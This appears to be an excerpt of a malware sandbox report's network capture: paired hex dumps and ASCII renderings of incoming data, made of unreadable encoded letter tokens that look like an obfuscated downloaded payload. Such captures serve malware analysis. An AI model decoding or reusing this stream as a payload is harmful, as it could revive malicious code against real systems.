20 4a 6d 58 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 70 20 44 4d 20 4a 4f 6d 20 57 71 20 6d 58 20 57 4a 20 6d 4d 20 57 4
d 20 4a 6d 70 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 6d 20 71 44 44 20 6d 4d 20 58 4d 20 57 70 20 71 71 57 20 71 71 
45 20 71 4f 45 20 4d 4a 20 6d 44 20 57 4a 20 4a 44 20 71 70 58 20 
Data Ascii: Wq Wm XJ JM JJW qOM qqJ WJ mO qMq JM Xm qqm qqM EJ qOJ DW qDp WO Wm XJ JOX XO qJJ qqX 
qmm Jm qMq Wm Xm qqD qJD qOD qqW Mp XM Wq Wm XJ MO JmM qOM qqJ WJ MW JmX Wm Xm qJO qqp DM JOm 
Wq mX WJ mM WM Jmp qqD qOM qqX Jm qDD mM XM Wp qqW qqE qOE MJ mD WJ JD qpX 

2021-10-29 15:55:26 UTC 58 IN Data Raw: 57 6d 20 58 6d 20 71 4a 4f 20 58 4d 20 71 4f 6d 20 71 4f 70 20 70 70 20 57 6d 20 4a 57 20 44 70 20 45 4f 20 
71 4a 4a 20 4d 70 20 58 58 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 4a 70 4a 20 71 70 58 20 71 4a 6d 20 71 4f 70 20 
71 4f 71 20 71 6d 4a 20 70 44 20 57 44 20 57 4f 20 57 6d 20 45 4d 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 
20 4a 70 44 20 70 57 20 6d 58 20 71 71 4f 20 71 45 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 70 70 20 57 57 20 
44 4d 20 6d 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 44 20 70 70 20 57 44 20 58 4d 20 71 70 57 20 71 71 
6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 70 20 70 58 20 70 70 20 44 71 20 44 44 20 4d 45 20 71 4a 71 20 45 4f 20 57 4
5 20 70 57 20 57 4d 20 70 71 20 71 4a 70 20 44 44 20 4d 45 20 71 
Data Ascii: Wm Xm qJO XM qOm qOp pp Wm JW Dp EO qJJ Mp XX qqJ WO WX pq JpJ qpX qJm qOp qOq qmJ pD WD 
WO Wm EM JM qJD qOM qqJ WD JpD pW mX qqO qED qqE qOM qqJ WO pp WW DM mX qqm qqE qOp MM WD pp 
WD XM qpW qqm qqE qOp MM Wp pX pp Dq DD ME qJq EO WE pW WM pq qJp DD ME q

2021-10-29 15:55:26 UTC 62 IN Data Raw: 20 71 71 4a 20 71 71 45 20 71 4f 4d 20 71 45 4d 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 
71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 71 20 71 4f 4d 20 71 71 
4a 20 57 4f 20 4a 6d 70 20 6d 58 20 57 6d 20 58 6d 20 71 44 71 20 71 71 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 58 
20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 6d 58 20 58 6d 
20 71 71 6d 20 71 71 45 20 71 58 4f 20 71 71 6d 20 57 4f 20 6d 58 20 4a 70 45 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 
58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 
71 4a 70 20 6d 4d 20 57 4f 20 57 6d 20 71 4a 44 20 71 71 6d 20 
Data Ascii:  qqJ qqE qOM qEM mX mX WO Wp Xm qqm qqE MX qqJ WO mM mX Wm Xm qqm qOq qOM qqJ WO Jmp 
mX Wm Xm qDq qqM qOM qqJ WD mX WO Wm Xm qqm qqE qOM qqJ WO mX WO mX Xm qqm qqE qXO qqm WO mX 
JpE WJ Xm qqm qqX qOM qqJ WO WX WO Wm XW qOW DM qOW qqJ qJp mM WO Wm qJD qqm 

2021-10-29 15:55:26 UTC 63 IN Data Raw: 58 6d 20 71 4a 4f 20 71 44 4d 20 71 4a 6d 20 71 71 45 20 70 71 20 70 4a 20 57 70 20 70 4d 20 58 4f 20 71 71 
70 20 71 71 70 20 44 4d 20 4a 4a 6d 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 44 44 20 71 71 6d 20 71 71 45 20 45 4f 20 71 
4a 70 20 57 4d 20 4d 57 20 44 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 58 58 20 4a 57 57 20 71 45 6d 20 57 44 20 57 45 20 
70 4f 20 6d 58 20 4d 70 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 4a 70 44 20 57 70 20 71 
71 6d 20 71 45 4a 20 71 71 45 20 71 4f 57 20 4d 4d 20 57 58 20 70 58 20 70 70 20 44 70 20 71 4a 45 20 58 70 20 71 4f 4f 
20 71 4f 71 20 4d 45 20 57 4d 20 71 45 4f 20 70 70 20 44 4f 20 58 70 20 71 71 4a 20 71 4f 4f 20 71 4f 70 20 58 58 20 4a 
70 70 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4f 20 71 
Data Ascii: Xm qJO qDM qJm qqE pq pJ Wp pM XO qqp qqp DM JJm WO mX WJ pO DD qqm qqE EO qJp WM MW DJ 
Wm Xm qJO XX JWW qEm WD WE pO mX Mp JM qJD qOM qqJ WD JpD JpD Wp qqm qEJ qqE qOW MM WX pX pp Dp 
qJE Xp qOO qOq ME WM qEO pp DO Xp qqJ qOO qOp XX Jpp mX WO DO qJm qOO q
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2021-10-29 15:55:26 UTC 68 IN Data Raw: 4a 20 57 44 20 44 71 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 44 20 45 44 20 
6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 4a 20 71 4f 4f 20 70 20 71 44 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 
20 58 71 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4a 4f 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 70 20 71 4a 
6d 20 71 71 44 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 4a 
71 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 
6d 20 4d 6d 20 4a 4d 20 58 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 58 20 6d 4f 20 6d 4f 20 4a 71 45 20 6d 4f 20 71 71 
45 20 71 4f 4d 20 71 71 70 20 4a 70 20 4a 4a 6d 20 4a 57 57 
Data Ascii: J WD Dq ED mO Xm qqm qJE qJD qqD ED mD WO Wm Mm ME qqJ qOO p qD mX WO DO qJm Xq qqE 
qOM qJJ Mp JO WO Wm Mm ME qqp qJm qqD mW Dp qMq qOX Xm qqm qqD EJ qDO JqW mX WO WO qJm DM qqE 
qOM qJJ DW X WO Wm Mm JM XO qOM qqJ WD JX mO mO JqE mO qqE qOM qqp Jp JJm JWW

2021-10-29 15:55:26 UTC 72 IN Data Raw: 71 70 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 44 20 71 71 4d 20 58 58 20 4d 44 20 6d 58 20 57 4f 20 44 4f 20 
45 57 20 71 4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 70 4f 20 71 71 6d 20 71 
71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 
44 20 4a 45 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 4a 57 20 71 4f 45 20 70 20 71 4d 4d 20 6d 58 20 57 4f 20 6d 58 20 
45 71 20 71 71 58 20 71 4f 4f 20 71 4f 57 20 4d 58 20 57 71 20 4a 6d 20 4a 71 4d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 
20 71 70 71 20 71 71 4a 20 57 4f 20 57 6d 20 70 57 20 57 4f 20 44 45 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 
71 20 4a 71 20 70 44 20 6d 71 20 71 4a 44 20 4a 70 4d 20 
Data Ascii: qp Wm Xm qqm qOD qqM XX MD mX WO DO EW qOq JmX WW qqJ WO mM Jp JpO qpO qqm qqE qOW XX 
W mX WO DO pM Em qqE qOM qJJ JD JE WO Wm Mm ME qJW qOE p qMM mX WO mX Eq qqX qOO qOW MX Wq Jm 
JqM Wm Xm qJO JD qpq qqJ WO Wm pW WO DE JWW mE qOM qqJ Wq Jq pD mq qJD JpM 

2021-10-29 15:55:26 UTC 76 IN Data Raw: 71 58 20 57 45 20 57 4f 20 45 4f 20 71 4a 6d 20 71 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 6d 20 6d 71 
20 57 44 20 57 6d 20 70 44 20 71 4a 20 71 4f 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 6d 57 20 57 6d 20 58 6d 
20 71 4a 4f 20 45 20 70 6d 20 71 4a 4a 20 57 4f 20 44 6d 20 44 6d 20 45 70 20 4d 6d 20 71 71 6d 20 57 20 71 4d 20 71 
71 4f 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 71 71 20 6d 58 20 57 
4f 20 44 4f 20 57 4d 20 71 70 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 44 44 20 71 58 4d 20 44 4f 20 58 6d 20 
4a 20 45 20 71 6d 4a 20 71 4a 4a 20 57 4f 20 44 6d 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 71 7
1 71 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 44 20 71 71 6d 20 
Data Ascii: qX WE WO EO qJm qE qqE qOM qJJ Dm mq WD Wm pD qJ qOE qOM qqJ WD MW mW Wm Xm qJO E pm 
qJJ WO Dm Dm Ep Mm qqm W qM qqO WO mX WD pO EW qqm qqE qOp XX qq mX WO DO WM qpO qqE qOM qqX 
Jp DD qXM DO Xm J E qmJ qJJ WO Dm ED mO Xm qqm qJE DM qqq WO mX WD pO ED qqm 

2021-10-29 15:55:26 UTC 80 IN Data Raw: 20 4a 58 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 58 44 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 71 20 4d 57 
20 71 4d 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 71 57 20 58 57 20 4a 4a 44 20 57 4f 20 6d 58 20 57 4f 20 57 4a 20 6d 45 
20 71 4f 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 57 70 20 57 44 20 71 4f 44 20 71 58 57 20 71 4f 4f 20 71 71 6d 20 71 
71 45 20 71 71 71 20 71 71 20 4a 45 20 6d 58 20 57 4f 20 57 4f 20 44 4d 20 71 4a 57 20 71 4f 44 20 4d 45 20 4a 57 70 20 
71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 
20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 
71 4a 45 20 71 71 71 20 71 71 20 70 6d 20 6d 58 20 57 4f 20 
Data Ascii:  JX mX WO WJ mE XD qqE qOM qqD Mq MW qMJ Wm Xm qJO JqW XW JJD WO mX WO WJ mE qOJ qqE 
qOM qqD Wp WD qOD qXW qOO qqm qqE qqq qq JE mX WO WO DM qJW qOD ME JWp qOm mX WO WW qqp qDJ q
pW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq qq pm mX WO 

2021-10-29 15:55:26 UTC 84 IN Data Raw: 4d 70 20 4d 4f 20 71 71 4a 20 57 4f 20 57 58 20 44 57 20 71 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 
70 4f 20 57 4f 20 6d 58 20 57 44 20 57 4a 20 6d 45 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 44 20 70 57 20 57 58 20 70 
57 20 57 4d 20 71 4a 20 4d 4d 20 71 4a 70 20 71 4a 70 20 4a 70 4f 20 71 4f 44 20 70 70 20 44 4f 20 70 70 20 71 4d 6d 20 
6d 4a 20 71 4f 4f 20 4d 4d 20 71 4f 6d 20 71 44 6d 20 71 4f 6d 20 70 57 20 57 44 20 45 45 20 4a 4a 58 20 6d 57 20 6d 20 
4d 45 20 44 4f 20 6d 4a 20 71 44 6d 20 4d 57 20 57 4d 20 71 4a 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 4a 
6d 20 57 4f 20 57 6d 20 58 4f 20 45 6d 20 4a 70 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 45 70 20 57 45 20 58 6d 
20 71 71 6d 20 71 71 70 20 71 71 45 20 4a 44 20 71 20 71 71 
Data Ascii: Mp MO qqJ WO WX DW qm Xm qqm qJE DM pO WO mX WD WJ mE MX qqE qOM qqD pW WX pW WM qJ 
MM qJp qJp JpO qOD pp DO pp qMm mJ qOO MM qOm qDm qOm pW WD EE JJX mW m ME DO mJ qDm MW WM qJX 
qqE qOM qJJ EM Jm WO Wm XO Em JpW qOM qqJ WO WO Ep WE Xm qqm qqp qqE JD q qq

2021-10-29 15:55:26 UTC 88 IN Data Raw: 20 4a 44 20 58 4a 20 57 4f 20 57 6d 20 4d 6d 20 58 58 20 4d 4d 20 71 71 4f 20 71 4f 6d 20 4a 4f 6d 20 6d 4d 
20 4a 6d 20 57 6d 20 58 6d 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 44 45 20 6d 58 20 57 4f 20 57 6d 20 71 71 71 
20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 57 20 4d 70 20 71 57 70 20 57 71 20 57 6d 20 58 4a 20 71 4f 71 20 4a 6d 
58 20 57 70 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 70 58 20 71 45 4a 20 71 71 6d 20 71 4f 4d 20 4f 20 71 6d 
6d 20 70 4d 20 4d 70 20 71 4a 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 70 20 57 71 20 6d 4d 20 57 4f 20 44 4f 
20 58 4a 20 71 4f 4f 20 4a 70 4d 20 71 4f 45 20 71 4f 70 20 71 44 58 20 4a 6d 20 58 71 20 57 6d 20 58 6d 20 71 4a 4f 20 
4d 70 20 71 71 71 20 71 71 70 20 57 4f 20 57 58 20 44 57 20 
Data Ascii:  JD XJ WO Wm Mm XX MM qqO qOm JOm mM Jm Wm Xm qOW DM qOm qqJ DE mX WO Wm qqq qqm 
qqE qJm qqW Mp qWp Wq Wm XJ qOq JmX Wp qqJ WO mM Jp pJ pX qEJ qqm qOM O qmm pM Mp qJO Xm qqm qJE 
qOp p Wq mM WO DO XJ qOO JpM qOE qOp qDX Jm Xq Wm Xm qJO Mp qqq qqp WO WX DW 

2021-10-29 15:55:26 UTC 92 IN Data Raw: 44 20 45 4f 20 71 71 4a 20 71 70 4d 20 71 4a 4f 20 44 45 20 57 4f 20 6d 58 20 6d 71 20 44 4a 20 71 4a 45 20 
57 4d 20 71 71 20 71 4a 70 20 71 71 70 20 57 4f 20 57 4a 20 4a 70 20 4a 45 20 44 45 20 58 6d 20 71 71 20 71 4a 71 20 
71 71 70 20 57 4f 20 57 4a 20 4a 4f 6d 20 6d 58 20 45 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 6d 71 20 6d 4d 20 
57 4f 20 44 4f 20 71 71 70 20 4a 6d 4a 20 4d 4d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 
58 4d 20 58 4f 20 44 6d 20 71 4a 6d 20 4a 4f 20 70 6d 20 6d 58 20 4a 4f 4f 20 44 57 20 44 57 20 71 71 45 20 71 4f 4d 20 
71 4f 45 20 57 58 20 4a 45 20 70 44 20 6d 58 20 71 45 4f 20 71 71 44 20 71 4f 4d 20 71 71 71 20 71 71 4a 20 57 4a 20 44 
45 20 6d 45 20 57 57 20 58 6d 20 71 4a 4f 20 4d 70 20 45 45 
Data Ascii: D EO qqJ qpM qJO DE WO mX mq DJ qJE WM qq qJp qqp WO WJ Jp JE DE Xm qq qJq qqp WO WJ JOm 
mX EJ qqJ qqE qOE p mq mM WO DO qqp JmJ MM qOX qqJ Wm Jm mW Wm Xm XM XO Dm qJm JO pm mX JOO DW 
DW qqE qOM qOE WX JE pD mX qEO qqD qOM qqq qqJ WJ DE mE WW Xm qJO Mp EE

2021-10-29 15:55:26 UTC 95 IN Data Raw: 6d 20 71 4a 45 20 4a 4f 45 20 58 57 20 70 45 20 70 4d 20 70 58 20 70 4f 20 4a 70 4a 20 71 71 6d 20 71 71 45 
20 71 4f 70 20 4a 71 4f 20 4a 70 20 6d 4f 20 70 45 20 70 6d 20 71 4a 6d 20 4a 4f 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 
20 71 6d 6d 20 4a 71 20 6d 70 20 70 4a 20 44 6d 20 4d 4f 20 4a 4f 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 71 6d 44 20 4a 
44 20 71 70 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 71 20 6d 58 20 57 44 20 71 58 4a 20 45 70 20 
71 71 57 20 71 71 45 20 71 4f 57 20 71 6d 20 6d 45 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 6d 58 20 71 71 44 20 71 4f 4d 
20 71 4a 4a 20 45 44 20 6d 57 20 57 71 20 57 6d 20 58 4f 20 71 4a 4a 20 4d 4d 20 71 4a 70 20 70 20 71 71 70 20 6d 4d 
20 57 4f 20 44 4f 20 44 44 20 71 4f 4f 20 44 20 6d 44 20 71 71 
Data Ascii: m qJE JOE XW pE pM pX pO JpJ qqm qqE qOp JqO Jp mO pE pm qJm JOD qqE qOM qJJ qmm Jq mp pJ 
Dm MO JOq qOM qqJ WD qmD JD qpM Xm qqm qJE DM mM Wq mX WD qXJ Ep qqW qqE qOW qm mE mM WO WO 
mE mX qqD qOM qJJ ED mW Wq Wm XO qJJ MM qJp p qqp mM WO DO DD qOO D mD qq
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2021-10-29 15:55:26 UTC 100 IN Data Raw: 57 4f 20 45 45 20 6d 58 20 6d 4d 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 71 20 71 71 4a 20 4a 58 
20 6d 58 20 71 4f 58 20 71 58 44 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 57 4f 20 
71 45 20 58 6d 20 70 20 4a 70 45 20 71 4f 4d 20 71 4a 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 44 20 71 71 6d 20 58 
57 20 71 4f 4d 20 4a 6d 6d 20 71 57 4f 20 6d 58 20 57 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 
4a 20 57 4a 20 6d 58 20 71 57 4a 20 71 70 6d 20 58 6d 20 71 71 70 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 
70 20 4a 20 57 71 20 58 6d 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4a 71 20 6d 58 20 57 4f 20 70 4d 20 
70 4d 20 4a 71 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 
Data Ascii: WO EE mX mM DO Xm qqm qqD qqq qqJ JX mX qOX qXD Xm qJO qqE qOM qqJ WO WO WO qE Xm p JpE 
qOM qJJ WO mX WO Wm XD qqm XW qOM Jmm qWO mX WD Wm Xm qqm qqE qOM qqJ WJ mX qWJ qpm Xm qqp 
qJE qOM qqJ Wq mp J Wq Xm qDW qqE qOM qqJ qJq mX WO pM pM JqD qqE qOM qJJ WD

2021-10-29 15:55:26 UTC 104 IN Data Raw: 71 71 6d 20 57 4f 20 6d 58 20 57 4f 20 71 57 20 58 6d 20 71 71 6d 20 71 71 45 20 44 6d 20 71 71 70 20 57 4f 
20 6d 58 20 58 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 
20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 57 44 20 71 71 57 20 
71 71 45 20 71 4f 4d 20 4a 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 4a 
20 57 4f 20 6d 4d 20 6d 71 20 44 20 58 71 20 71 71 6d 20 4a 6d 4f 20 71 71 71 20 71 71 4a 20 57 4f 20 71 4a 45 20 57 4f 
20 57 6d 20 44 4d 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 71 58 20 71 58 45 20 58 6d 20 71 71 
6d 20 71 71 45 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 
Data Ascii: qqm WO mX WO qW Xm qqm qqE Dm qqp WO mX Xm WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm 
qqE qOM qqJ WJ mX WO Wm WD qqW qqE qOM J Wq mX WO Wp Xm qqm qqE qOp qqJ WO mM mq D Xq qqm JmO 
qqq qqJ WO qJE WO Wm DM q JqO qOM qqJ WD WX qX qXE Xm qqm qqE JJm mJ WO mX Wq

2021-10-29 15:55:26 UTC 108 IN Data Raw: 57 4f 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 70 44 20 71 71 4a 20 71 45 58 20 4a 6d 4d 20 57 4f 20 44 
4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 6d 20 57 4f 20 71 44 57 20 71 4a 4d 20 71 
71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 71 45 6d 20 71 6d 
4f 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 71 4f 58 20 
6d 4d 20 57 4f 20 57 6d 20 6d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 6d 4d 20 6d 58 20 57 4f 20 44 4f 20 4d 6d 
20 71 4f 4d 20 45 4f 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 44 57 20 71 71 45 20 71 
4f 4d 20 71 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 
Data Ascii: WO Wm Xm qqJ qqE pD qqJ qEX JmM WO DO Xm qqm qqE qOM qqm WO qqm WO qDW qJM qqm qJE 
qOM qqJ WO mX WO Wm XJ qqm qEm qmO qqJ mM WX WO Wm XW qOW DM qOm qqJ qOX mM WO Wm m qqm 
qqE qJm p qmM mX WO DO Mm qOM EO JJm mJ WO mX Wq qM qpJ qDW qqE qOM qqD JD E WO Wm M

2021-10-29 15:55:26 UTC 112 IN Data Raw: 20 58 6d 20 71 4a 4f 20 4a 44 20 71 58 58 20 71 71 4a 20 57 4f 20 57 58 20 57 4a 20 6d 71 20 4d 4f 20 4a 57 
57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 6d 57 20 58 6d 20 71 71 6d 20 71 71 70 20 44 
4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 4a 4a 45 20 
6d 58 20 57 4f 20 44 4f 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 45 20 57 70 20 70 4f 20 44 4a 20 
58 71 20 4a 57 4a 20 58 4d 20 71 4f 57 20 71 71 44 20 6d 4d 20 71 20 6d 58 20 6d 4d 20 71 4a 44 20 71 71 6d 20 71 71 
4d 20 44 4d 20 71 44 4a 20 57 4f 20 6d 58 20 57 44 20 57 58 20 44 44 20 71 4a 45 20 45 45 20 71 4a 6d 20 71 71 70 20 5
7 4f 20 6d 58 20 57 58 20 44 70 20 4a 4f 44 20 4d 45 20 71 71 70 
Data Ascii:  Xm qJO JD qXX qqJ WO WX WJ mq MO JWW mE qOM qqJ Wq Jq JJD JmW Xm qqm qqp DM Eq WO mX 
WD DM qOX qqm qqE qOp pq JJE mX WO DO pM Jqp qqE qOM qJJ WE Wp pO DJ Xq JWJ XM qOW qqD mM q mX mM 
qJD qqm qqM DM qDJ WO mX WD WX DD qJE EE qJm qqp WO mX WX Dp JOD ME qqp

2021-10-29 15:55:26 UTC 116 IN Data Raw: 4a 4f 20 58 44 20 71 71 70 20 58 20 4d 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 
44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 44 57 20 71 4f 4d 20 71 71 4a 
20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 
20 57 70 20 6d 71 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 4d 58 20 71 71 6
d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4
d 4f 20 6d 6d 20 57 4f 20 45 70 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 58 4a 20 6d 58 20 57 71 20 45 4d 20 
71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 71 71 4f 20 6d 58 
Data Ascii: JO XD qqp X Mm qqJ WO WJ Jm mO XD M DW qOM qqJ Wm JD qD WJ XE qW DW qOM qqJ Wm JD mm 
WJ mE Eq qqE qOM qqD Jm qX mX Wp mq Eq qqE qOM qqD Jm mD mX EE MX qqm qqE qOW MO qD WO mM EW MX 
qqm qqE qOW MO mm WO Ep q Xm qqm qqp Eq XJ mX Wq EM q Xm qqm qqp Eq qqO mX

2021-10-29 15:55:26 UTC 120 IN Data Raw: 71 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 
20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 
45 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 71 57 20 71 71 45 20 
71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 
20 57 4f 20 6d 4d 20 45 57 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 4a 44 20 58 6d 20 
58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4f 20 6d 58 20 45 57 20 45 45 20 57 6d 20 58 6d 20 71 71 58 20 4d 57 2
0 45 4d 20 71 71 6d 20 6d 4d 20 45 45 20 45 45 20 57 6d 20 58 6d 
Data Ascii: qW qqJ WO WX Jm mO XD M M qOM qqJ Wm JD qD WJ XE qW M qOM qqJ Wm JD mm WJ mE qW qqE 
qOM qqD Jm qX mX Wp mq qW qqE qOM qqD Jm mD mX EE mJ qqm qqE qOW MO qD WO mM EW mJ qqm qqE qOW 
MO mm WO JD Xm Xm qqm qJE Eq qqO mX EW EE Wm Xm qqX MW EM qqm mM EE EE Wm Xm

2021-10-29 15:55:26 UTC 124 IN Data Raw: 20 71 4a 4f 20 71 44 4d 20 71 45 4d 20 71 71 57 20 4a 4f 20 4a 70 58 20 57 4f 20 70 44 20 58 44 20 4d 4f 20 
4a 71 57 20 71 4f 58 20 71 71 4a 20 57 44 20 71 4f 20 71 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 4d 4d 
20 4d 58 20 6d 58 20 4a 4f 44 20 70 44 20 71 71 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 4a 20 71 4a 70 20 57 4f 20 6d 58 
20 57 44 20 4a 70 6d 20 58 44 20 71 20 4a 70 58 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 57 20 57 58 20 70 4d 20 4d 4a 
20 4d 4f 20 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 71 45 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 
